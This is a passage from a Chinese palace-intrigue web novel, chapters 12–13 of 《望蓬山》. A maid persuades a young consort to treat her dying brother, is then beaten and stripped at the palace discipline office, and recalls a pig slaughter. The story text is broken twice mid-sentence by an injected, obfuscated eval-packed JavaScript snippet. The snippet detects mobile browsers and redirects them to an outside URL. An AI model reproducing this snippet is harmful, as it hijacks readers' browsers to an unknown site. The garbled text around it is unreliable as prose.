《望蓬山》 12. 去吧 薛宝衣并不知道为何李贵人痴迷于医术,但这对她来说,却堪比天降甘霖。 得知那快死的人就在一墙之隔后的浣衣局里,李贵人当即让薄荷去拿药箱,命令薛宝衣带路,立刻便要去磨练自己的医术,却被年长些叫紫苏的宫女死命拦下了。 “贵人不能去,太监们做活起居的腌臜地方,贵人怎可踏足?此事若是被刘宫正听到来了,定要前来对贵人进行训诫。” 李贵人急忙将跪下的紫苏拉起来,求道:“紫苏姐姐,我知道你是为了我好,但是你不说我不说,她不说,薄荷不说,谁知道呢?” 紫苏不肯起来,“那浣衣局的太监又不是不长眼睛,人多口杂,隔墙有耳,只要有一个人乱说,不用到明日,这后宫里谁会不知道?这成何体统啊!” 李贵人软乎乎的脸慢慢皱巴了起来,像个满是褶子的包子。她看着敞开的殿门,眼里有着向往。可是看着跪在面前的大宫女,脚到底挪不出去一步。 紫苏见李贵人松动,便立刻膝行上前抓住了李贵人的手,言辞恳切地说道:“贵人,刘宫正来了自然是不敢如何您的,左右不过是停训,抄书。可是你身边伺候的人,奴婢与薄荷怕是免不了要挨打,原是我们的错,没有劝住贵人……” 李贵人叹了口气,脸上流露出几分羞愧,可薛宝衣也从她皱巴的脸上读出了几丝厌烦。 这个年纪,最是叛逆听不得人言的时候。 少年人永远胆子大很,如此听人规劝,这不敢做,那也不敢做,死气沉沉谁真的心里就愿意? 贵人年纪小,容易心软。可宫正来了,最多不过是让劝谏不力的大宫女罚站罚俸禄,就是想动刑,李贵人这样的小少女,一定会以身阻拦的。 所以,比起快死的人,她们吃点苦不算什么。 毕竟,救人一命胜造七级浮屠呢。 薛宝衣低头用力咳嗽起来,立刻将贵人的目光吸引了过来,她顺势抬起一双秋水做的眸子,眼角泛着浅浅绯色,对着贵人跪了下来,然后用力对着地上一连磕了好几个头,这才哽咽着对李贵人说道:“都是奴婢的错,奴婢不该奢求李贵人去救奴婢的弟弟的。咱们这样卑贱的,都算不得是个人,怎么能脏了贵人的脚踏足那样的贱地,只是奴婢常听老人家念叨救人一命胜造七级浮屠,总听人说医者仁心,见到贵人娘娘又恰好有着一身妙手回春的本领,还有着菩萨心肠,才一时发昏,求贵人娘娘做这救苦救难的菩萨!” 薛宝衣说到这,忽而耸肩一笑,泪珠儿从眼角落下,好像白色的蒲公英,随风在李贵人的面前被吹散了一般。 她听薛宝衣痴痴道:“都是我发昏,我们这样的人死了便去乱葬岗曝尸荒野,哪里能浪费贵人的医术呢,也是我糊涂了,我那弟弟病入膏肓,太医院的人看过都说活不成了,太医都说不行了,我怎么还能在这里为难贵人娘娘……求娘娘饶恕奴婢的罪过吧。” 李贵人心里莫名涌出一股羞惭来,又生出一股愤慨,如何人能不是人呢?宫人怎么就卑贱了呢?爷爷在祖师爷爷的画像前教她的第一课便是医者仁心,有救无类啊! 而且,怎么太医院的人治不了,就觉得她也治不了呢? 她难道比那些蠢材差吗! 她可是要励志成为爷爷那样天下闻名的神医的人啊!空有医术,却无法施展,在这宫里倒是既安全又衣食无忧,可是,可是她并不快乐呀! 她想治病,想见奇难杂症呢,隔壁就是快死的人,多好的机会,而且这个浣衣局的宫女说得对啊,救人一命胜造七级浮屠,天大地大,合该人命最大呀,去它个破宫规,到时候刘宫正来找麻烦,大不了就去太后娘娘和陛下个个那里撒泼打滚! 紫苏听得薛宝衣这里巧舌如簧,初时也有几分觉得可怜,可待看到自家小主子眼睛越来越亮,神情渐入魔怔,心中大道坏了! 定是被这浣衣局宫女一张利嘴勾住了,于是立刻对着殿外大喝,“来人,将这个胡言乱语的浣衣局宫女拉出去交给刘宫正!” 李贵人一听,立刻拦住:“不行,不许进来!”她转头看向紫苏,突然生气:“谁许你如此的?我还没发话呢!我现在就要去救人,紫苏你如果装作不知道这件事,那这件事说不定还瞒得住。若你非要闹着找刘宫正,那我可就不知道你是不是要让人看我笑话了!” 李贵人说完便绕开李贵人大步走了沉香殿,留下目瞪口呆的紫苏和不手足无措的薄荷。薛宝衣见状,也不去看紫苏刀剐般的目光,飞速从薄荷手里抢过了医药便去追李贵人。 薄荷着急地看向紫苏:“这可怎么办?” 紫苏咬牙爬起来:“我去跟着贵人,你立刻去找刘宫正……不对,找,找太后身边的钱嬷嬷来,再找个人去找浣衣局的林嬷嬷把这事儿告诉她,她们浣衣局真是出了个厉害人物!” 再次回到浣衣局,这次没有人敢无视,李贵人身上的锦衣早已昭示了身份,连腿脚温吞的王公公也急急忙忙赶来,甚至自己打着歪伞。 李贵人不耐烦这些,只是瞥了一眼一旁脸色凝重的紫苏,还是板起幼稚的脸故作深沉,严肃地冲着王公公说道:“公公,我今日来此的事情不许传出去,否则,我可不会饶过乱嚼舌根子的人!” 王公公自然是连连点头,又斟酌问道:“贵人是来?” 李贵人清咳一声,“不该问的别问,你,安乐是吧,带路。” 王公公看到薛宝衣和她抱着的药箱目光震惊,但旋即上前挡住了去路,笑道:“贵人是要去看小十五?” “小十五?”李贵人看薛宝衣。 薛宝衣点头:“弟弟入宫后似乎还未起名,暂时叫十五。” 李贵人:“嗯,本宫要去看十五。怎么,你不让?” 王公公:“咱家自然不敢拦贵人,只是十五生病,住的地方脏乱,还是请贵人去干净地方稍候,奴婢让人将十五抬过来。” 李贵人却摆摆手,说道:“听起来这十五已经病到不能起身,不必折腾将人搬来挪去,我自去便行。” 李贵人说完,居然从袖子里摸出一条方帕将半张脸都遮住了,还抽了两条出来,一条给紫苏,另外一条给了薛宝衣。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317587|198993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “用药浸泡后熏过的,能预防一些有传染的病症,病患长期居住的地方多不干净,气味也重,接触者需得注意。像我这样,遮住鼻子。” 薛宝衣连忙给自己戴上。 王公公也没办法,只得跟上他们几人。到了门口,让小太监打开了门,王公公又让人去拿了蜡烛前来,先进门点上,等屋子里亮了,这才让出门。 李贵人要进去,紫苏抢了一步走进去,立刻扭头想将李贵人推出去,但李贵人一低头便从她臂下钻了进去,薛宝衣淡定地忽略掉紫苏的眼神,快步走进屋子。 这会有了烛光,她总算看清楚了整间屋子。 根本不是给人住的,像是用来堆柴和破烂的屋子,没窗漏雨,墙壁上全是霉块。 明松双目双唇都紧紧闭着,两颊起了红晕,可是不论薛宝衣怎么喊,他都没反应。 李贵人已经开始给明松把脉了,薛宝衣将桌子上的药碗端过来,道:“这是走之前喝的药残渣。” 李贵人拿过便掀开帕子凑近嗅了一下,然后又让薛宝衣将盖子明松身上的破被掀开,刚掀开一角,一股酸腐臭味便跑了出来,就算是戴着药帕也掩盖不住这个味道,紫苏差点呕了出来,一旁陪看的王公公也抬手捂住了鼻子,都拿他显然没有几个女子反应大。 王公公:“贵人,这被子里便不看了吧。这味道这孩子肯定是不成了。咱们这些宦官,身上总难免有些味道,这孩子定然是当时净身后没好好养着,自己又不会照顾自己,才如此。” 王公公也不能说太多脏了贵人的耳朵,紫苏却已经如临大敌,立刻跑上前将被子重新盖了下去,要带李贵人出去。 薛宝衣:“李贵人,我弟弟……” 李贵人推开紫苏,说道:“不就是净身去势,人的身体如何长的,我清楚着呢,只不过太监的我确实没见过,但是我以前去农家见过人劁猪,想来差不多!” 说着,李贵人便去掀开被子,这酸腐臭味一闻就知道这人哪里有大问题了,岂有不查之理。 薛宝衣这会儿也明白李贵人要做什么,虽然是为了救明松,但也有些无措,心里对年纪小小的李贵人也不由生出几分敬佩。 她也许真的能救明松。 但就在这时,门外传来一道严厉的声音:“住手!” 紫苏立刻拉住了李贵人,李贵人恼火的回头,还未开口便看到一个半头银丝梳得一丝不苟的老嬷嬷站在门边,顿时将嗓子口的话太咽了回去。 王公公倒吸一口冷气,忙道:“钱嬷嬷,你可算来了,奴婢劝不住小贵人啊!” 钱嬷嬷冷哼一声,缓步走到李贵人身前,扭头却看向了薛宝衣,不等薛宝衣欠身,便冷然一巴掌将薛宝衣打得撞在了墙上,脸上的药帕也掉在了地上。 “来人,将这不懂规矩,哄骗贵人的贱婢拖出去交给刘宫正,浣衣局谁管的,自去宫正处领人!” “至于贵人,随老奴走吧,陛下去给太后娘娘请安,还送了一些胡大人从巫漓带回来的新鲜玩意儿,太后娘娘让小贵人也去瞧瞧热闹。” 13. 猪与她 宫正司。 薛宝衣刚入宫便已经听过数次这个地方的威名,林嬷嬷每间隔几日便会训诫整个浣衣局的宫女要守规矩,若是被宫正司的人带走,能不能全须全尾回来可不好说。 太后和陛下为了纠正后宫风气,杜绝如前朝一般骄奢淫逸,私相授受,偷奸耍滑,乃至勾连外庭,泄露宫廷机密这些问题的再次泛滥,给予了宫正司极大的权力,所有宫女犯错,乃至低阶妃嫔行为有差,宫正司都能查问,甚至动用刑罚。 宫正司内并不设牢房,只是有几间禁室,也做罚堂。 宫女犯错,刘宫正有权利不通知各局女官,便直接将宫女扔入罚堂。 薛宝衣被钱嬷嬷带来的两个太监拖出门,刘宫正便已经闻风而来,直接接手也不问薛宝衣做了什么,直接将她带到宫正司,先赏了十杖,然后丢进了罚堂。 薛宝衣纵然被抄家灭族,于身体却并没有吃多少刑罚之苦,她从来也未曾被人如此对待,是以双手双肩被人按在凳子上时,薛宝衣惊愤交加,明知是无用行为,却还是激烈挣扎反抗了起来。 那个叫刘宫正的女人,年岁并不大,甚至比林嬷嬷还年轻些,却穿着一身暗紫女官服,冷着一张冰雪般的面孔,就那么端坐在整个宫正司大殿唯一的一张官椅上,低头目光轻蔑地望着被人摁着的薛宝衣,说道:“我念你初犯,本想给你点脸面,先打十杖,再进罚堂,面壁思过。” “但你这贱婢,进了我宫正司,还不知悔改要反抗?既然如此,脸皮也不必给你留了,来人,去了她的衣裤,重打!” 薛宝衣如遭雷击,脑海霎时一片空白。 这个刘宫正,不,不,她才是贱婢,这个贱人怎么敢这样折辱她? “放开,你怎敢如此对我!刘宫正,你——呜呜”薛宝衣眼看有人上前拉扯她的衣物,尖叫着大骂起来,完全无法让自己冷静下来,可是下一刻嘴里就半被硬塞进了一团乱布,而一旁行刑的人按不住挣扎的薛宝衣,居然直接扯下薛宝衣的身上的腰将薛宝衣绑了起来。 双目欲裂,薛宝衣发鬓凌乱,感受到衣物被剥离的那一刻,她忽然浮现出小时候有一次误入后厨,撞见厨子们在杀一头活猪的场面。 薛府的厨房采买都是从外面送进来的,根本不会出现活猪。那活猪是薛明印出去玩,从一个异域商人那里买的,说是养不大,还聪明,长得又可爱,薛明印这个傻子被人忽悠着就花一两黄金买了下来放在府里养着,还单独划了一个园子给这头猪住,打算养个半年拿这猪出去炫耀,谁知道这猪一日比一日长得壮实,三个月后,半年后薛明印想起这头猪一看,便知道自己被异域商人宰了一顿,而且肯定被人笑话了,于是当天便让后厨将这猪拉去宰了。 杀猪是杀猪匠的活,厨子哪里会做?请了杀猪匠也不花钱,但薛明印不乐意,就要厨子杀,第一刀还是他下手,要的就是让这猪死得不能太痛快,钝刀子磨肉,才能泄他心头之恨。 薛宝衣那会儿还小,走到厨房的院子里,看到那猪在院子里跑,一圈人手里拿着绳子和棍子将它包围。一棍子打腿,一棍子打鼻子,那猪惊慌失措一个劲哼哼,四处冲突不得,猛地被人从四面八方扯住腿,掀翻在地,然后捆住双蹄。 满院子的人也不管那猪已经吓得屎尿屁齐飞,就这么脏臭着把那惨叫的猪绑在了长凳上。薛明印拿着棍子一下一下打着那头猪,他嘴里骂骂咧咧,就像棍子打得不是他好吃好喝伺候了半年的猪,而是那个该横死的异域商人,猪的惨叫声回荡在整个院子上空,也飘荡在薛宝衣的心里,她站在院子门口,与那头惨叫的猪对视。 原来猪的眼睛里也有那么多情绪,它惶恐,它愤怒,它茫然,它难过,它想逃……但它逃不掉,薛明印打累了,一刀扎进了猪的脖子,但是没能一刀致命,于是厨子补上了第二刀,第三刀。 猪渐渐不叫了,血溅了四面八方,但离薛宝衣极远,可是她觉得那头猪的血溅在她眼睛里了,那日回去便发了高烧,噩梦连连,阿娘和祖父寻了许多有名望的大师,道士,大夫,甚至请到了太医,但却依旧无法让她好起来。 直到多日后的一天,她坐在窗前发呆,薛明印来给她娘亲问安,求娘亲再给他月钱花,娘问他怎么又花出去许多钱,薛明印满不在乎地指了指身后,那里站着一个十一二岁的丫头,身子颤颤如花,眼眶红红,却唇红齿白,细皮嫩肉的。 薛明印又买了一头猪。 上次他问异域商人买了一个混血奴婢,那商人吹得天花乱坠,说他卖的奴隶是最好的,虽然此时看着不打眼,瘦骨嶙峋的不好看,但那是因为太饿了,只要薛明印带回去好好养上半年,这奴隶就会变成花一样好看的人,她还有能倾倒百灵鸟的嗓子,也会跳异域最好看的舞蹈,这是整个平陵独一份的,薛明印半年后将这奴隶带出去在宴会上表演,必定能艳惊四座。 可那只是个普通的混血奴,养了半年除了长高长胖之外,什么都没养出来。她不会跳舞,也没有好嗓子,甚至一点也不好看。 薛明印大怒,甚至也不愿意将这个丑陋的混血奴卖了收回些本钱,而是把她当成了一头猪处决。 形容憔悴的薛宝衣那时坐在窗前,抬起手指着那个她异母兄长刚买的新瘦马嘻嘻笑道:“娘,一头新猪,哥哥明年也还杀猪吗?” 所有人都被吓了一跳,薛明印以为她疯了,阿娘急的以为她又犯病了,而那头“猪”仿佛已经预知了自己将来比真的猪好不了太多的命运,大声哭了起来。 但薛宝衣那日之后,病不治而愈了。 她那日忽然就懂了祖父说的一句话。 若非人上人,则皆为猪,任人宰割。 挣扎得再厉害,也不过是被宰割。 被精心饲养地再好,也不过是一句话,就会被打回原形。 薛宝衣想,自己现在也成为了一头猪。 毫无尊严,生不如死,任人宰割。 她想活着的,拼命活着,为此在浣衣局那样忍辱负重,用尽心机想一步步往上走,好抓住权力,离开浣衣局,甚至离开皇宫这座定她有罪的牢笼。 但是,这样毫无尊严的像一头猪一样活着,真的可以吗? 太慢了,她这样一步步往上走,需要太久的时间,需要太多的隐忍,甚至需要放弃明松明哲保身才行。 是的,她今日走错了一步。 不该越界求李贵人去救明松,在明知道紫苏已经动怒,必要收拾她的情况下开口了。 她原想着再想个稳妥的办法去救明松的。 可是明松等不及了。 第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323394|198993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三下棍子打下来时,薛宝衣不再挣扎了,她甚至想死在这里。 或许吧,她这身体根本撑不住十杖不是吗? 或者,她再挣扎骂几句刘宫正,刘宫正会再赏她几杖,宫正司好像也打死过宫女。 但是薛宝衣快失去意识的时候,耳边隐约有尖叫声和哭声传来,还有争执的声音,似乎有人给她盖了衣物,扑在了她身上。 似乎,死不成了。 腰疼欲裂,双腿却好像失去了知觉。 薛宝衣睁开眼,以为自己是在趴在漆黑冰冷的罚堂里,却没想到睁开眼居然是在床上,但屋子是陌生的,而且这里只有一张床。 薛宝衣也不知道自己死了还是活着,但是稍微一抬起身子,半具身体便好似不是自己的了,又疼又麻,她是不是变成瘫子了? 正愣着,便听得有浅浅的脚步声,随即破旧的门便被人从外面推开了。 “安喜?”嗓子沙哑得像个陌生人,薛宝衣看向一脸惊喜拿着托盘走进来的安喜。 安喜立刻放下手里的东西,坐到了床边问她几时醒来,感觉如何。 薛宝衣:“没有知觉,我是不是残废了?” 安喜却顿时一脸庆幸,说道:“李贵人说你若是还有些知觉,不管是疼是麻,那说明你以后还是能走路的。”想了想,她又一脸悻悻地说道:“还好那日,林嬷嬷与我去宫正司去得快,李贵人也赶去了,这才救下了你。我听说当时刘宫正让人已经打了你十杖,但是却没让人停下,竟然是想直接打死你……” 安喜突然闭嘴,跑到门外看了一眼,这才关上门进来。 “可不敢说,林嬷嬷不让我乱说话了。” 薛宝衣望着安喜,想到安喜那日是因为自己的算计才不能出门,心里多少有几分心虚,但很快她便压住了这份稀薄的情绪。 “那日的事情都是我莽撞了,必然是连累来了你们吧?你们不该去救我,我死了……” 安喜立刻打断薛宝衣。 “别胡说了安乐,那天的事情虽然你求李贵人确实冒失了,但是毕竟是为了自己的亲弟弟,若是我的家人危在旦夕,我能求李贵人救他,别说是贵人了,就是陛下,太后我也敢去求!” “而且……那日你也是为了帮浣衣局的姐妹,还有帮我才冒险去沉香殿太医院的,宫正司责罚我和浣衣局,我也认了,但又不是杀人放火的,怎么就非得打死你!寻常宫女若是冒犯了贵人,也就是掌掴被关几日,不至于打死的,何况李贵人也开口帮你求情了。” “刘宫正和你有仇吗?” 薛宝衣摇头,“不是因为那位钱嬷嬷吗?刘宫正或许因为钱嬷嬷觉得我十恶不赦吧。” 安喜拿过药碗喂薛宝衣喝药,说道:“好像不算是呢,大家都说太娘娘娘待人宽容,体恤宫人,之前刘宫正也不小心打死了犯事的宫女,为此被太后一顿训斥,差点被削官了,罚了两年的俸禄。” 薛宝衣不想知道这些,她吞了两口苦药,问道:“你知道我弟弟如何了吗?是死了还是——” 安喜:“你别担心,你弟弟还活着,而且已经退热了。听说李贵人在太后和陛下面前说了这事儿,为生病不得医治的宫人抱不平,太后听说你弟弟年纪又小,便让太医院的人用心去治你弟弟了。”